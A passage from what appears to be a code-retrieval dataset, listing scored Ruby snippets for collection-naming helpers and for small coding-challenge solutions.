"288eea4af003951c1db3a421d6a4fa17", "score": "0.61024684", "text": "def set_collection_key() receive_name(name) ; end", "title": "" }, { "docid": "72db10569560257064b5cbb0e1f9ec1f", "score": "0.60809356", "text": "def collection_names(options = {})\n View.new(self).collection_names(options)\n end", "title": "" }, { "docid": "d8ba76d77190d7ada3886bd64f8af251", "score": "0.6065848", "text": "def inferred_version_collection_name\n self.to_s.underscore.gsub(%r{/}, \".\") + \"_versions\"\n end", "title": "" }, { "docid": "89a099cfd61220f4e7d5ffad70b663e9", "score": "0.6065028", "text": "def collection_names\n Array(config.collections&.keys)\n end", "title": "" }, { "docid": "2b894687f1fa942d74b0adbfeedd4db0", "score": "0.6061337", "text": "def collection_method_on_resource(resource)\n resource.pluralize\n end", "title": "" }, { "docid": "8bb9a1e57eff46fb43b2ec855e8f3959", "score": "0.60545325", "text": "def collection_name\n controller_name\n end", "title": "" }, { "docid": "76ba732123d2a6e2c05286694c454919", "score": "0.6045891", "text": "def update_collections!(db_name)\n db_client = @client.use(db_name)\n database = db_client.database\n\n db_name = database.name\n @collections[db_name] = database.collection_names.sort\n\n db_client.close\n\n @collections\n end", "title": "" }, { "docid": "fd05383e7448c2203211eaf7397a9fec", "score": "0.6045712", "text": "def rename_collection(database,collection,new_name)\n options={:basic_auth => @auth, :body => {:name => new_name}}\n handle_result self.class.put(\"/databases/#{database}/collections/#{collection}\", options)\n end", "title": "" }, { "docid": "c2d998069e95ec91e6f635211e3a7deb", "score": "0.60434663", "text": "def default_raw_collection_name\n \"#{model.collection.name}_#{name}_aggregation\"\n end", "title": "" }, { "docid": "dfac5a45526c71d34597e87396a0ba14", "score": "0.60326636", "text": "def initialize()\n super(:namespace=>\"collection\")\n self.type = \"Collection\"\n end", "title": "" }, { "docid": "9c6a3def92ebccf12f3fd62296e7d3af", "score": "0.60191935", "text": "def get_collection_name(object)\n begin\n return parse_mods(object).xpath('//mods[1]/identifier').text\n rescue\n object_error_and_exit(object, 'failed to determine target collection for object')\n end\n end", "title": "" }, { "docid": "2810155fdb32af2009d99878b41e809d", "score": "0.6011691", "text": "def collection_name\n 'resources'\n end", "title": "" }, { "docid": "d68104026da94bd6493541ff62c99e40", "score": "0.60019225", "text": "def collection_title collection_internal_uri\n collections[collection_internal_uri]\n end", "title": "" }, { "docid": "ff7ad4bba7e3559fc9519de0aa5af67e", "score": "0.5995685", "text": "def inflector; end", "title": "" }, { "docid": "ff7ad4bba7e3559fc9519de0aa5af67e", "score": "0.5995685", "text": "def inflector; end", "title": "" }, { "docid": "181266d54a3d28e0be89dd692cf6eca6", "score": "0.5987332", "text": "def collection_names\n result = server.get(\n address: [address, '_api/collection'].join('/')\n )[:result]\n result.map { |collection| collection[:name] }\n end", "title": "" }, { "docid": "e6d50e5c9c7f798c9e4363424640d480", "score": "0.5981612", "text": "def new_collection(name)\n Collection.new_collection name\n end", "title": "" }, { "docid": "0343354dc51acec8d165e9af816b78f2", "score": "0.5971609", "text": "def collection_names\n case config[\"collections\"]\n when Hash\n config[\"collections\"].keys\n when Array\n config[\"collections\"]\n when nil\n []\n else\n raise ArgumentError, \"Your `collections` key must be a hash or an array.\"\n end\n end", "title": "" }, { "docid": "ba19768129ec9844f029950c2ab60138", "score": "0.59438103", "text": "def collection_names=(c_names)\n return true if c_names.blank?\n c_names.each do |c_name|\n next if c_name.strip.blank?\n opts = { :name => c_name, :user => current_user, :active => true }\n c = Collection.where(:name => c_name).first || Collection.create(opts)\n self.collections.concat([c])\n end\n end", "title": "" }, { "docid": "f20b76a989ed4652906da514b7c8fa5d", "score": "0.5937073", "text": "def collection_name(coll_name)\n @coll_name = coll_name\n end", "title": "" }, { "docid": "13b756a610fc92be345b9f8ff7b0dc55", "score": "0.5933316", "text": "def document_partial_name(document, base_name=nil)\n case\n when document.is_collection?\n \"collection\"\n when document.is_item?\n \"collection_member\"\n else\n \"default\"\n end\n end", "title": "" }, { "docid": "7c9eebd7b89cb9b3c5a201fd67cf19bf", "score": "0.59283805", "text": "def underscore\n ActiveSupport::Inflector.underscore(self)\n end", "title": "" }, { "docid": "bf4d0e736bf7999c9f98f4598956bf7c", "score": "0.59206086", "text": "def namespace\n \"#{db_name}.#{coll_name}\"\n end", "title": "" }, { "docid": "bf4d0e736bf7999c9f98f4598956bf7c", "score": "0.59206086", "text": "def namespace\n \"#{db_name}.#{coll_name}\"\n end", "title": "" }, { "docid": "a4b4f0da97e0aac39293799551dd6008", "score": "0.59174734", "text": "def set_collection_key(key) receive_name(key) ; end", "title": "" }, { "docid": "c3a004792345d3c924fe775dab63dc5c", "score": "0.5916699", "text": "def add_camelization(name, camelized); end", "title": "" }, { "docid": "9bd445893611f1e8a9fd53cf5bcc083e", "score": "0.59093267", "text": "def show_collections\n @backend.list_collections(@name).sort\n end", "title": "" }, { "docid": "8a4bcbab933b668edb023e6742a5e8f7", "score": "0.5903293", "text": "def list_collections config\n used = Utils.available_collection_codes\n collections = Utils.get_collection_names(config)\n main_list = []\n palmm_list = []\n collections.each do |pid, title|\n next unless used[pid]\n title ||= \"Title n/a - id #{pid}\"\n if pid =~ /^palmm/i\n palmm_list.push [ pid, '(palmm) ' + title ]\n elsif pid =~ /^#{config.site_namespace}:/\n main_list.push [ pid, title ]\n end\n end\n palmm_list.sort!{ |a,b| a[1].downcase <=> b[1].downcase }\n main_list.sort!{ |a,b| a[1].downcase <=> b[1].downcase }\n return main_list + palmm_list\n end", "title": "" }, { "docid": "2b00251b33131ca5794d3a28af4df0ab", "score": "0.585008", "text": "def name\n inflector.underscore(namespace_name)\n end", "title": "" }, { "docid": "5fd0e94db51834bd57df41109ead485d", "score": "0.5848363", "text": "def collection_name\n # In most cases, this will be equivalent to the name of the collection\n # object in the driver. However, in some cases (e.g. when connected\n # to an Atlas Data Lake), the namespace returned by the find command\n # may be different, which is why we want to use the collection name based\n # on the namespace in the command result.\n if @namespace\n # Often, the namespace will be in the format \"database.collection\".\n # However, sometimes the collection name will contain periods, which\n # is why this method joins all the namespace components after the first.\n ns_components = @namespace.split('.')\n ns_components[1...ns_components.length].join('.')\n else\n collection.name\n end\n end", "title": "" }, { "docid": "9320d77e3954149b2f648fcd6f840bc4", "score": "0.5844048", "text": "def collection_name(collection)\n collection.try(:klass).try(:name) || collection.try(:name)\n end", "title": "" }, { "docid": "a0f10199d35e7ad1353603ce4b5d7896", "score": "0.5835427", "text": "def collections\n collection_names.map{|name| Collection.new(self, name)}\n end", "title": "" }, { "docid": "ccc178ba2d48ad537180678ffad90772", "score": "0.581675", "text": "def coll_name\n spec.fetch(COLL_NAME)\n end", "title": "" }, { "docid": "49b6568ac7a64a81de8a178731889f05", "score": "0.58069813", "text": "def collection_name\n persistence_context.collection_name\n end", "title": "" }, { "docid": "047ed52a225dbb350ec79f5f704baa80", "score": "0.5804348", "text": "def organize_collection\n # No-op\n end", "title": "" }, { "docid": "894cae5a3aac65fdef850abc45d91139", "score": "0.58012164", "text": "def collection_names(options = {})\n @batch_size = options[:batch_size]\n server = next_primary(false)\n @limit = -1 if server.features.list_collections_enabled?\n collections_info(server).collect do |info|\n if server.features.list_collections_enabled?\n info[Database::NAME]\n else\n (info[Database::NAME] &&\n info[Database::NAME].sub(\"#{@database.name}.\", ''))\n end\n end\n end", "title": "" }, { "docid": "ac4ad9ea059c73f01479a3219f032d91", "score": "0.57954186", "text": "def collection_supported(name)\n api.collections.include?(name.to_sym)\n end", "title": "" }, { "docid": "ac4ad9ea059c73f01479a3219f032d91", "score": "0.57954186", "text": "def collection_supported(name)\n api.collections.include?(name.to_sym)\n end", "title": "" }, { "docid": "3c5b9e6661523b5ccbb1c35ba5b95f0c", "score": "0.5780701", "text": "def collection_names\n current_database.collection_names\n end", "title": "" }, { "docid": "08009eb6f07fa4519968b35ff6b49623", "score": "0.5776756", "text": "def collection_title(options = {})\n I18n.t(\"power_resource.titles.#{resource_name}.collection\",\n { default: \"#{collection_human_name}\" }.merge(options) )\n end", "title": "" }, { "docid": "6be3691ddef8d00c42faa0f852a2283a", "score": "0.5776015", "text": "def underscore\n Inflections.underscore(self)\n end", "title": "" }, { "docid": "18cf6182b52048319d78399b6b68aecb", "score": "0.5772198", "text": "def camelizations; end", "title": "" }, { "docid": "e6ba2c90124d31f64ebb3be1502290e4", "score": "0.57713264", "text": "def remove_collection(_name)\n raise \"Must be implemented.\"\n end", "title": "" }, { "docid": "6e61e4c18ab550cd5ea06a1297181e84", "score": "0.57672435", "text": "def permitted_collections\n q = if is_admin\n '*:*'\n elsif permitted_apos.empty?\n '-id:*'\n else\n permitted_apos.map { |pid| \"#{SolrDocument::FIELD_APO_ID}:\\\"info:fedora/#{pid}\\\"\" }.join(' OR ')\n end\n\n result = repository.search(\n q: q,\n defType: 'lucene',\n rows: 1000,\n fl: 'id,sw_display_title_tesim',\n fq: ['objectType_ssim:collection', '!project_tag_ssim:Hydrus']\n )['response']['docs']\n\n result.sort! do |a, b|\n a['sw_display_title_tesim'].to_s <=> b['sw_display_title_tesim'].to_s\n end\n\n [['None', '']] + result.map do |doc|\n [Array(doc['sw_display_title_tesim']).first.to_s + ' (' + doc['id'].to_s + ')', doc['id'].to_s]\n end\n end", "title": "" }, { "docid": "7354676cd089ea3d5c30b342e64c8d57", "score": "0.57637393", "text": "def collection_name\n 'fields'\n end", "title": "" }, { "docid": "b08548b43401d58dcb25704ad75b46a5", "score": "0.57579863", "text": "def jsonapi_inflector\n ActiveSupport::Inflector\n rescue\n Dry::Inflector.new\n end", "title": "" }, { "docid": "18253e5c2ffbd99d77bb0ca8a934ff1b", "score": "0.57532936", "text": "def collection_name\n persistence_context.collection_name\n end", "title": "" }, { "docid": "a6d9a947f1aa7d2b011aa6851641e956", "score": "0.57511324", "text": "def inflector=(_arg0); end", "title": "" }, { "docid": "0b45532a123f59ba69d4705504e9313b", "score": "0.5725809", "text": "def make_collection ; @isCollection=true; end", "title": "" } ]
d2557060f5bc66429b4e6d1f2f66da36
I worked on this challenge [by myself, with: Chris Pine lol:)]. Your Solution Below
[ { "docid": "d7c97f4819965c5e967b623334f0c920", "score": "0.0", "text": "def leap_year?(year)\nyear % 4 ==0 && (year %100 !=0 || year % 400 ==0)\n\nend", "title": "" } ]
[ { "docid": "b9960478999684c2b536f76e22f6fc63", "score": "0.64178145", "text": "def solution4(input)\n end", "title": "" }, { "docid": "bca12d2414c241325b8beea187f866fa", "score": "0.62419665", "text": "def isLucky(n)\r\nhalf1 = []\r\nhalf2 = []\r\nn_string = n.to_s\r\n\r\n\r\nfirsthalf = (n_string.length / 2) - 1\r\nsecondhalfstart = (n_string.length / 2)\r\nsecondhalfend = (n_string.length - 1)\r\n(0..firsthalf).each do |idx|\r\n half1 << n_string[idx].to_i\r\nend\r\n\r\n(secondhalfstart..secondhalfend).each do |idx|\r\n half2 << n_string[idx].to_i\r\nend\r\n\r\nreturn true if half1.inject(:+) == half2.inject(:+)\r\nreturn false\r\nend", "title": "" }, { "docid": "27642489b728f4d1034fbd38d2ee3dde", "score": "0.6137066", "text": "def solution(a)\n number = a.to_s.chars\n first_arrays = []\n (number.length/2).times do\n first_arrays << number.shift\n first_arrays << number.rotate(number.length-1).shift\n number.pop\n end\n ( first_arrays + number ).join(\"\").to_i\nend", "title": "" }, { "docid": "36b0cc4672c5b01fa08e1a37de72f6bd", "score": "0.6136379", "text": "def input_string\n result = \"73167176531330624919225119674426574742355349194934\"\n result += \"96983520312774506326239578318016984801869478851843\"\n result += \"85861560789112949495459501737958331952853208805511\"\n result += \"12540698747158523863050715693290963295227443043557\"\n result += \"66896648950445244523161731856403098711121722383113\"\n result += \"62229893423380308135336276614282806444486645238749\"\n result += \"30358907296290491560440772390713810515859307960866\"\n result += \"70172427121883998797908792274921901699720888093776\"\n result += \"65727333001053367881220235421809751254540594752243\"\n result += \"52584907711670556013604839586446706324415722155397\"\n result += \"53697817977846174064955149290862569321978468622482\"\n result += \"83972241375657056057490261407972968652414535100474\"\n result += \"82166370484403199890008895243450658541227588666881\"\n result += \"16427171479924442928230863465674813919123162824586\"\n result += \"17866458359124566529476545682848912883142607690042\"\n result += \"24219022671055626321111109370544217506941658960408\"\n result += \"07198403850962455444362981230987879927244284909188\"\n result += \"84580156166097919133875499200524063689912560717606\"\n result += \"05886116467109405077541002256983155200055935729725\"\n result += \"71636269561882670428252483600823257530420752963450\"\n\n result\nend", "title": "" }, { "docid": "0aa3d9ebc94b882f1172fa1ed40657ef", "score": "0.6050815", "text": "def is_happy(n)\n i = 0\n r = false\n destination = []\n while r == false\n n.to_s.split(\"\").each do |x|\n destination << ((x.to_i * x.to_i))\n end\n i = i + 1\n n = destination.inject(&:+)\n r = true if n == 1\n destination = []\n break if i == 1000\n end\n if r == true\n p r\n else\n p false\n end\nend", "title": "" }, { "docid": "afd4083898e8b0a53a08b37c003cfe5c", "score": "0.602885", "text": "def decodeHalfway(input)\n sum = 0\n\n # Only have to loop through half the array since the numbers are being compared halfway around\n # Multiply each matching character by 2 to compensate for not looping through its pair\n input.chars[0..input.length/2 - 1].each_with_index do |char, i|\n sum += 2*char.to_i if char == input[i + input.length/2]\n end\n sum\nend", "title": "" }, { "docid": "d45d411f74262d41ad851457afd5f575", "score": "0.6015124", "text": "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend", "title": "" }, { "docid": "60396d976360a20a80b14f177c291c57", "score": "0.60008633", "text": "def solution(s, p, q)\n # write your code in Ruby 2.2\n g = s.length + 1\n a = (s.length + 1)**3\n c = (s.length + 1)**2\n tmp = []\n res = []\n tmp.push 0\n o = 0\n s.split('').each do |i|\n o += if i == 'T'\n 1\n elsif i == 'G'\n g\n elsif i == 'C'\n c\n else\n a\nend\n tmp.push o\n end\n (0...p.length).each do |k|\n o = tmp[q[k] + 1] - tmp[p[k]]\n if o >= a\n res.push 1\n elsif o >= c\n res.push 2\n elsif o >= g\n res.push 3\n else\n res.push 4\n end\n end\n res\nend", "title": "" }, { "docid": "c746f666835e31bc402763bab3ca9579", "score": "0.59976983", "text": "def solution(a, b)\n if a.length > b.length\n return (b + a + b).to_s\n else\n return (a + b + a).to_s\n end\nend", "title": "" }, { "docid": "951127c361c3ec5bdc0be7bc21790e6a", "score": "0.5994021", "text": "def isLucky(n)\n new_array = n.to_s.split(\"\")\n new_length = new_array.length\n\n a, b = [], []\n\n (0...new_length / 2).each { |x| a.push(new_array[x].to_i) }\n (new_length / 2...new_length).each { |y| b.push(new_array[y].to_i) }\n\n if a.inject(:+) == b.inject(:+)\n return true\n else\n false\n end\n\nend", "title": "" }, { "docid": "e2a136369b0dfe578d812e5b2abc12ec", "score": "0.5972804", "text": "def isLucky(n)\n sum, sum2 = 0, 0\n arr = n.to_s.split(\"\")\n \n first_half = arr.take(arr.size / 2) \n second_half = arr.drop((arr.size / 2))\n first_half.each { |x| sum += x.to_i }\n second_half.each {|x| sum2 += x.to_i}\n \n sum == sum2\nend", "title": "" }, { "docid": "54b5a04b5709efbda06f838626206ec1", "score": "0.5949296", "text": "def goodVsEvil(good, evil)\n # good_power, evil_power = 0, 0\n # good.split.each_with_index do |num, i|\n # if i < 3\n # good_power += num.to_i * (i + 1)\n # elsif i < 5\n # good_power += num.to_i * i\n # elsif i == 5\n # good_power += num.to_i * 2 * i\n # end\n # end\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\n if i < 3\n sum + num.to_i * (i + 1)\n elsif i < 5\n sum + num.to_i * i\n elsif i == 5\n sum + num.to_i * 2 * i\n end\n end\n \n \n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\n case i\n when 0\n sum + num.to_i * (i + 1)\n when 1, 2, 3\n sum + num.to_i * 2\n when 4\n sum + num.to_i * (i - 1)\n when 5\n sum + num.to_i * i\n when 6\n sum + num.to_i * (i + 4) \n end\n end\n \n if evl > god\n str = \"Evil eradicates all trace of Good\"\n elsif evl < god\n str = \"Good triumphs over Evil\"\n else\n str = \"No victor on this battle field\"\n end\n \n \"Battle Result: #{str}\"\nend", "title": "" }, { "docid": "12e3ab5bb24eb3f6f1d00e6b007f6822", "score": "0.59378946", "text": "def solution\n (2..(9**5 * 6)).select do |n|\n n.to_s.split(//).map do |d|\n d.to_i ** 5\n end.reduce(:+) == n\n end.reduce(:+)\nend", "title": "" }, { "docid": "eabdd32fa3a69c563917961e33bdbf96", "score": "0.5928044", "text": "def solution(s, p, q)\r\n # write your code in Ruby 2.2\r\n # A -1\r\n # C -2\r\n # G -3\r\n # T -4\r\n # s - string with n charactekrs\r\n #cagccta\r\n #0123345\r\n #p,q - not empty arrays\r\n #\r\n #p[0]=2 q[0]=4 gcc 322 => 2\r\n #p[1]=5 q[1]=5 t 4 => 4\r\n \r\n \r\n arr = Array.new(q.count)\r\n \r\n \r\n\r\n \r\n arr.each_with_index{|el, i|\r\n \r\n ss = s[p[i]..q[i]]\r\n \r\n if ss.index('A') \r\n n = 1\r\n elsif ss.index('C')\r\n n=2\r\n elsif ss.index('G')\r\n n=3\r\n else \r\n n=4\r\n end\r\n \r\n arr[i] = n\r\n \r\n }\r\n \r\n \r\n \r\n arr\r\n \r\nend", "title": "" }, { "docid": "01ab7e3014c59c0e8d2bf0446401b3f4", "score": "0.5927817", "text": "def solution(n)\n n.to_s.split(//).inject(1) { |a,d| a + d.to_i }\nend", "title": "" }, { "docid": "8177e2338342fbfef778f02d1c1aed4b", "score": "0.5921381", "text": "def solution(a)\n # write your code in Ruby 2.2\n binding.pry\n trips = Hash.new {|h,k| h[k]=0}\n start = 0\n ending = 0\n min = nil\n a.each_with_index do |trip,i|\n ending = i\n\n if trips[trip] == 0\n min = ending - start\n end\n trips[trip] += 1\n\n while start < ending\n break if trips[a[start]] - 1 == 0\n trips[start] -= 1\n start += 1\n min = ending - start if ending-start < min\n end\n end\n min\nend", "title": "" }, { "docid": "2481cbf165330db256eee896a32c82e4", "score": "0.5913201", "text": "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "title": "" }, { "docid": "e9506e5c5be49078757652976ec6068d", "score": "0.59106386", "text": "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "title": "" }, { "docid": "de48274b3b7a2f885d3d8d6629ae2bc4", "score": "0.5901865", "text": "def problem_76a\n num = 100\n solve = lambda do |a,off,max|\n n = 0\n while a[off] < max && (a.length-off) >= 2 \n a[off] += a.pop\n n += 1\n n += solve.call(a.dup,off+1,a[off]) if a.length - off > 1\n end\n n\n end\n puts 1 + solve.call([1] * num, 0,num-1)\nend", "title": "" }, { "docid": "f712d49ec6c615538b2e2aa846391fda", "score": "0.5896634", "text": "def challenge; end", "title": "" }, { "docid": "b214c249bf03c40c9ef18e988bd417e1", "score": "0.5895074", "text": "def solve(s)\n answer = \"\"\n (0...s.length - 1).each do |idx|\n if s[idx] != s[idx + 1]\n answer += s[idx]\n end\n if idx == s.length - 2 && s[idx] == s[idx + 1]\n answer += s[idx]\n end\n end\n return answer\nend", "title": "" }, { "docid": "2c5090c0737e63ee23f1300ec3567b3d", "score": "0.5883019", "text": "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "title": "" }, { "docid": "6102d628d6d63d9ee9f00ef7d54c6b21", "score": "0.587402", "text": "def solution(s)\n if s.length.odd?\n center = s.length / 2\n if s[0...center] == s[center + 1..s.length].reverse\n return center \n end\n end\n -1\nend", "title": "" }, { "docid": "72dc06196dfda39b3b6243930e52be3e", "score": "0.5873592", "text": "def solution(n)\n # write your code in Ruby 2.2\n a = n.to_s(2)\n arr = []\n if a[-1] == '1'\n arr = a.split('1')\n else\n arr = a.split('1')\n arr.pop\n end\n if arr.max.nil?\n 0\n else\n arr.max.length\n end\nend", "title": "" }, { "docid": "11e00136309f621908b71f69ef6bd8de", "score": "0.5871968", "text": "def solutions(a)\r\n\r\n ary = a.sort\r\n ary.each_with_index do |num, index|\r\n if ary[index+1] != num + 1 && index != ary.length-1\r\n return num + 1\r\n end\r\n end\r\n\r\nend", "title": "" }, { "docid": "323936c576f02d232ff8b3c7b4a0fbdb", "score": "0.5869277", "text": "def solution(number)\nn = 0..number\na = []\nfor i in n\n if i % 3 == 0 || i % 5 == 0\n a = a.push(i)\n end\n end\ns = 0\n# a.pop\na.each {|x| s += x}\ns\nend", "title": "" }, { "docid": "98ed5a760cfc0a12c218af7adfe0c420", "score": "0.58607626", "text": "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "title": "" }, { "docid": "0e327f382de084efc59140ad2970b9b8", "score": "0.5858605", "text": "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "title": "" }, { "docid": "cc01c5884d04791436c792567fafb5d5", "score": "0.58556443", "text": "def solution(n)\n n.to_s(2).reverse.to_i.to_s.split('1').map(&:length).max || 0\nend", "title": "" }, { "docid": "1fa576a292d7587afbc3364f8dcfea1b", "score": "0.5842752", "text": "def isLucky(n)\n a = n.to_s.split(\"\")\n full = a.count - 1\n half = a.count/2 - 1\n \n total_1 = 0\n total_2 = 0\n \n for i in 0..full\n if i > half\n total_2 += a[i].to_i\n else\n total_1 += a[i].to_i\n end\n end\n \n if total_1 == total_2\n true\n else\n false\n end\nend", "title": "" }, { "docid": "8fa28cb10a830d9a79764fce3d58aebc", "score": "0.5841503", "text": "def solve(str)\n idx = 0\n count = 0\n\n substr_1 = ''\n substr_2 = ''\n\n loop do\n substr_1 = str[0..idx]\n substr_2 = str[(idx + 1)..-1]\n\n substr_1.to_i.odd? ? count += 1 : nil \n substr_2.to_i.odd? ? count += 1 : nil \n \n idx += 1\n break if idx >= str.length\n end\n count\nend", "title": "" }, { "docid": "6ed173d0098ae4fdffd09dc2e8eeed6f", "score": "0.58148134", "text": "def solve(input)\n data = input.chars\n buckets = []\n current = []\n data.each_with_index do |c, i|\n n = data[i + 1]\n current << c\n unless n == c\n buckets << current\n current = []\n end\n break if n.nil?\n end\n\n ret = ''\n buckets.each do |b|\n ret += b.count.to_s\n ret += b.first\n end\n ret\nend", "title": "" }, { "docid": "38307a67b93e49b934bcd426ae9cf2a1", "score": "0.5805117", "text": "def dominant_octopus(fish)\n #sorted = []\n return fish if fish.length < 2\n pivot = fish.first\n left = fish[1..-1].select { |feesh| feesh.length <= pivot.length }\n #p left\n right = fish[1..-1].select { |feesh| feesh.length > pivot.length }\n\n dominant_octopus(left) + [pivot] + dominant_octopus(right)\n \n\n\nend", "title": "" }, { "docid": "e625e8a723f51af4b24bfed22a83a7dd", "score": "0.5801623", "text": "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "title": "" }, { "docid": "827aaf29a0370415c81910d49ac40e78", "score": "0.57874984", "text": "def icecreamParlor(m, arr)\n # Complete this function\n res = []\n arr.each_index do |i|\n if i + 1 !=nil\n j = i + 1\n while j <= arr.length - 1\n if arr[i]+arr[j] == m\n res.push([i+1,j+1])\n end\n j+=1\n end\n end\n end\n res\nend", "title": "" }, { "docid": "a9392dee0faf707e292542e90b88d4c2", "score": "0.5783849", "text": "def solution(a)\r\n a.each do |num|\r\n if (a.count(num) % 2) != 0\r\n return num\r\n end\r\n end\r\nend", "title": "" }, { "docid": "e8f55d8332038d49a29528b132a3e632", "score": "0.5783813", "text": "def correct(element)\n result = nil\n element.downto(0).each do |j|\n i = element - j\n if j == element && j % 3 == 0\n result = Array.new(j, 5)\n elsif i % 5 == 0 && j % 3 == 0\n result = Array.new(j, 5) + Array.new(i, 3)\n elsif i == element && i % 5 == 0\n result = Array.new(i, 3)\n end\n\n break if result\n end\n\n if result.nil?\n puts -1\n else\n puts result.join()\n end\nend", "title": "" }, { "docid": "2b00a8cafafc538a47343cb0c57c6885", "score": "0.5763855", "text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "title": "" }, { "docid": "30f92fe33f092a92543bf7dbb1aecf45", "score": "0.5759423", "text": "def theLoveLetterMystery(s)\n chars = s.chars\n size = chars.length\n sum = 0\n ((size+1)/2..(size -1)).each do |i|\n num = chars[i].ord\n target_num = chars[size-1-i].ord\n sum += (num - target_num).abs\n end\n sum\nend", "title": "" }, { "docid": "28e971db0eb8d47df531a8e7d6061092", "score": "0.57523555", "text": "def f(n)\n # your code here\n result = []\n possibles = (2..n).flat_map{ |s| [*2..n].combination(s).map(&:join).to_a }\n p possibles\n possibles.each do |i|\n x = 0\n temp_arr = []\n temp = i.split('').map { |j| j.to_i }\n p temp\n while x < temp.length do \n if i[x + 1] != i[x] + 1 || i[x + 1] == nil\n temp_arr << i[x]\n end\n x += 1\n end\n result << temp_arr\n end\n result.length\nend", "title": "" }, { "docid": "b65619a33550fcb90621b7dedc97eb4a", "score": "0.57357025", "text": "def solution(roman)\n split = roman.split(\"\")\n last_value = 0\n split.reduce(0) do |final, char|\n current = CONVERSION[char.upcase]\n binding.pry\n if current >= last_value\n final += current\n else\n final -= current\n end\n binding.pry\n last_value = current\n final\n end\nend", "title": "" }, { "docid": "9ac9f4fce5c49412295e121a295a190d", "score": "0.57342", "text": "def main\n max = 10 ** 9 + 7\n all = 1\n zero = 1\n nine = 1\n zn = 1\n N.times.each do\n all = all * 10 % max\n zero = zero * 9 % max\n nine = nine * 9 % max\n zn = zn * 8 % max\n end\n return (all - zero - nine + zn) % max\nend", "title": "" }, { "docid": "96c8cf5dff4b610b8a092add2335be19", "score": "0.572996", "text": "def isLucky(n)\n n = n.to_s.split('').map(&:to_i)\n n.shift(n.size/2).reduce(:+) == n.reduce(:+)\nend", "title": "" }, { "docid": "86460f1eb5dea4ea117f4cd8b4b400d1", "score": "0.5725615", "text": "def featured(n)\n n += 1\n n += 1 until n % 7 == 0 && n.odd?\n loop do\n break if n.to_s.chars.uniq.join == n.to_s\n n += 14\n if n > 9876543210\n puts \"There is no possible number that fulfills those requirements\"\n return nil\n end\n end\n n\nend", "title": "" }, { "docid": "67295e80a8da9bf6c7034a90912d7c3c", "score": "0.5725191", "text": "def solution(n)\n\t(1..n).map(&:to_s).map(&:chars).join.chars.map(&:to_i).reduce(:+)\nend", "title": "" }, { "docid": "88ba0caf44689a0805f0dca16999014e", "score": "0.5721602", "text": "def strong_num(n)\n array = n.to_s.chars.map(&:to_i)\n sumarray = []\n array.each do |number|\n sum = (1..number).inject(:*) || 1\n sumarray << sum\n end\n sumarray.sum == n ? \"STRONG!!!!\" : \"Not Strong !!\"\nend", "title": "" }, { "docid": "4fb444751234b773ec1dc6b77775f786", "score": "0.5705347", "text": "def formingMagicSquare(s)\r\n out = 100\r\n for i in 0...8 do\r\n cost = 0\r\n for j in 0...3 do\r\n for k in 0...3 do\r\n cost += ($magic_square[i][j][k] - s[j][k]).abs\r\n end\r\n end\r\n puts cost\r\n out = [out, cost].min\r\n end \r\n out\r\nend", "title": "" }, { "docid": "22f00f39d603229b79c5bf8472f373a0", "score": "0.5705141", "text": "def solve(s)\n answer = \"\"\n arr = s.split('')\n hash = Hash.new(0)\n arr.each_with_index do |el, idx|\n if el.to_i >= 1\n if arr[idx + 1] == \"(\"\n el.to_i.times do \n if arr[idx + 2].to_i >= 1\n if arr[idx + 3] == \"(\"\n arr[idx + 2].to_i.times do \n answer += (arr[(idx + 4)...arr.index(\")\")].join(''))\n end\n end\n end\n answer += (arr[(idx + 2)...arr.index(\")\")].join(''))\n end\n \n # hash[arr[idx + 1]] += 1\n end\n end\n \n end\n return answer\nend", "title": "" }, { "docid": "8c2066be19f777ed238f012d365487d4", "score": "0.56990945", "text": "def captcha(input)\n sum = 0\n 0.upto(input.length - 1) do |i|\n sum += input[i].to_i if input[i] == input[(i+1) % input.length]\n end\n sum\nend", "title": "" }, { "docid": "492e936526ebfbffbc3c3b62f458936f", "score": "0.5697411", "text": "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "title": "" }, { "docid": "034b369a6a4d2fb7b4420415908d3f71", "score": "0.56870484", "text": "def solution(n)\n x = (n**0.5).floor\n (1..x).reduce(0) { |s, i| n % i == 0 ? s += (i * i == n ? 1 : 2) : s }\nend", "title": "" }, { "docid": 